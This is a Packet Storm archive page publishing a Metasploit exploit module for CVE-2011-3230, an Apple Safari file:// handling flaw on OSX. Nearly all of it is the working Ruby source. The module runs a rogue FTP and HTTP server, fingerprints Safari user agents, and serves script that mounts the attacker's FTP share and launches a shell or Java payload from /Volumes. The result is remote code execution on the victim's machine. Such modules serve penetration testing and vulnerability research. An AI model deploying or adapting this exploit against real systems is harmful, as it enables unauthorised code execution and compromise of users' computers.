exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apple Safari file:// Arbitrary Code Execution

Apple Safari file:// Arbitrary Code Execution
Posted Oct 17, 2011
Authored by sinn3r, Aaron Sigel | Site metasploit.com

This Metasploit module exploits a vulnerability found in Apple Safari on OSX platform. A policy issue in the handling of file:// URLs may allow arbitrary remote code execution under the context of the user. In order to trigger arbitrary remote code execution, the best way seems to be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or a fileformat that OSX might automount), and then execute it in /Volumes/[share]. If there's some kind of bug that leaks the victim machine's current username, then it's also possible to execute the payload in /Users/[username]/Downloads/, or else bruteforce your way to getting that information. Please note that non-java payloads (*.sh extension) might get launched by Xcode instead of executing it, in that case please try the Java ones instead.

tags | exploit, java, remote, arbitrary, code execution
systems | apple
advisories | CVE-2011-3230
SHA-256 | 813e7b6681dffdbb170749ba71603be94be65c52baeeeffe39b6f94697d09ec4

Apple Safari file:// Arbitrary Code Execution

Change Mirror Download
##
# $Id: safari_file_policy.rb 13967 2011-10-17 03:49:49Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/service_manager'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::FtpServer

def initialize(info={})
super(update_info(info,
'Name' => "Apple Safari file:// Arbitrary Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Apple Safari on OSX platform.
A policy issue in the handling of file:// URLs may allow arbitrary remote code
execution under the context of the user.

In order to trigger arbitrary remote code execution, the best way seems to
be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
a fileformat that OSX might automount), and then execute it in /Volumes/[share].
If there's some kind of bug that leaks the victim machine's current username,
then it's also possible to execute the payload in /Users/[username]/Downloads/,
or else bruteforce your way to getting that information.

Please note that non-java payloads (*.sh extension) might get launched by
Xcode instead of executing it, in that case please try the Java ones instead.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 13967 $",
'Author' =>
[
'Aaron Sigel', # Initial discovery
'sinn3r', # Metasploit (also big thanks to HD, and bannedit)
],
'References' =>
[
['CVE', '2011-3230'],
['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'],
['URL', 'http://support.apple.com/kb/HT5000']
],
'Payload' =>
{
'BadChars' => "",
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
},
'Platform' => [ 'unix', 'osx', 'java' ],
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
'Targets' =>
[
[ 'Safari 5.1 on OSX', {} ],
[ 'Safari 5.1 on OSX with Java', {} ]
],
'Privileged' => true,
'DisclosureDate' => "Oct 12 2011", #Blog date
'DefaultTarget' => 0))

register_options(
[
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),
OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])
], self.class )
end


#
# Start the FTP aand HTTP server
#
def exploit
# The correct extension name is necessary because that's how the LauncherServices
# determines how to open the file.
ext = (target.name =~ /java/i) ? '.jar' : '.sh'
@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext

# Start the FTP server
start_service()
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")

# Create our own HTTP server
# We will stay in this functino until we manually terminate execution
start_http()
end


#
# Lookup the right address for the client
#
def lookup_lhost(c=nil)
# Get the source address
if datastore['SRVHOST'] == '0.0.0.0'
Rex::Socket.source_address( c || '50.50.50.50')
else
datastore['SRVHOST']
end
end


#
# Override the client connection method and
# initialize our payload
#
def on_client_connect(c)
r = super(c)
@state[c][:payload] = regenerate_payload(c).encoded
r
end


#
# Handle FTP LIST request (send back the directory listing)
#
def on_client_command_list(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end

print_status("Data connection setup")
c.put("150 Here comes the directory listing\r\n")

print_status("Sending directory list via data connection")
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
m = month_names[Time.now.month-1]
d = Time.now.day
y = Time.now.year

dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"
conn.put(dir)
conn.close

print_status("Directory sent ok")
c.put("226 Transfer ok\r\n")

return
end


#
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
#
def on_client_command_retr(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 can't build data connection\r\n")
return
end

print_status("Connection for file transfer accepted")
c.put("150 Connection accepted\r\n")

# Send out payload
conn.put(@state[c][:payload])
conn.close
return
end


#
# Handle the HTTP request and return a response. Code borrorwed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib

comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end

# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)

# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)

@http_service.server_name = datastore['HTTP::server_name']

# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})

proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end

# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)

# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
end
end


#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super

# Kill FTP
stop_service()

# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end


#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
end
end


#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['URIPATH'] || random_uri
path = '/' + path if path !~ /^\//
datastore['URIPATH'] = path
return path
end


#
# Handle HTTP requets and responses
#
def on_request_uri(cli, request)
agent = request.headers['User-Agent']

if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
print_error("Unsupported target: #{agent}")
send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
return
end

html = <<-HTML
<html>
<head>
<base href="file://">
<script>
function launch() {
document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
}

function share() {
document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
setTimeout("launch()", 2000);
}

share();
</script>
</head>
<body>
</body>
</html>
HTML

send_response(cli, 200, 'OK', html)
end


#
# Create an HTTP response and then send it
#
def send_response(cli, code, message='OK', html='')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'text/html'
res.body = html

cli.send_response(res)
end

end

=begin
- Need to find a suitable payload that can be executed without warning.
Certain executables cannot be executed due to permission issues. A jar file doesn't have this
problem, but we still get a "Are you sure?" warning before it can be executed.
- Allow user-specified port to automount the share
- Allow ftp USERNAME/PASSWORD (optional)
=end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close